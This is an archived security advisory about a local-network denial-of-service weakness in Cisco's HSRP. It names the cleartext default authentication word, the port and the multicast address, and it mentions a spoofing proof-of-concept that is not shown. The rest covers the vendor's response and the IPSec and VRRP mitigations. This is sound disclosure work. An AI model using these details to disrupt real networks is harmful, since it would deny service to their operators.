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TUCoPS :: Cisco :: cisco5~2.htm

Cisco HSRP DoS



Vulnerability

    Cisco

Affected

    Cisco HSRP

Description

    'bashis' found following.  He  was playing with Cisco's HSRP  (Hot
    Standby Routing Protocol), and there is a (major) weakness in that
    protocol that allow any host in a LAN segment to make a HSRP DoS.

    Short (very)  explain of  HSRP.   HSRP uses  UDP on  port 1985  to
    multicast address  224.0.0.2, and  the authentication  is in clear
    text.  (default: cisco)

    Included is  a small  program that  sends out  a fake HSRP packet,
    when it hear a legal HSRP packet, as a "proof of concept" code...

    ---
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    -----

    - this vulnerability can be exploited only from the local  segment
      (not over the Internet),
    - the  same effect,  denial of  service, can  be produced by using
      ARP, which can not be protected in any way

    The last issue is especially important since it may cause a  false
    sense of security if user is using a hardened version the protocol
    (whichever protocol).   Even by using  VRRP and ESP+AH  option, an
    attacker can still disrupt the network by using ARP.

Solution

    Vendor was notified about this  14 April 2001, and their  response
    was to use HSRP with IPSec.

    Their response was  precisely correct.   Given the evils  that can
    be done  with ARP-spoofing,  this sort  of misbehavior  by someone
    already on  the LAN  can't easily  be prevented.   More generally,
    have a look at RFC 2338, on VRRP -- the Virtual Router  Redundancy
    Protocol.  VRRP is the standards-track replacement for HSRP.   The
    Security Considerations section explains when to use each type  of
    authentication, up to and including IPsec.

    Cisco's real mistake is in having a common default  authentication
    word -- not  because it's a  security failure, but  because it can
    no longer fulfill its  function of guarding against  configuration
    errors.

    It's realy  old news,  this was  allready known  in '98  when they
    written  RFC  2281  but  nobody  have  talked  about it in public,
    except Cisco who is saying how good it is, to get a fault tolerant
    network..

    Cisco can confirm that  described vulnerability is present  in the
    HSRP and,  at the  present time,  there is  no workaround  for it.
    Cisco is deliberating  usage of IP  authenticated header for  HSRP
    and  VRRP  (Virtual  Router  Redundancy  Protocol, RFC2338) in the
    future releases of IOS.


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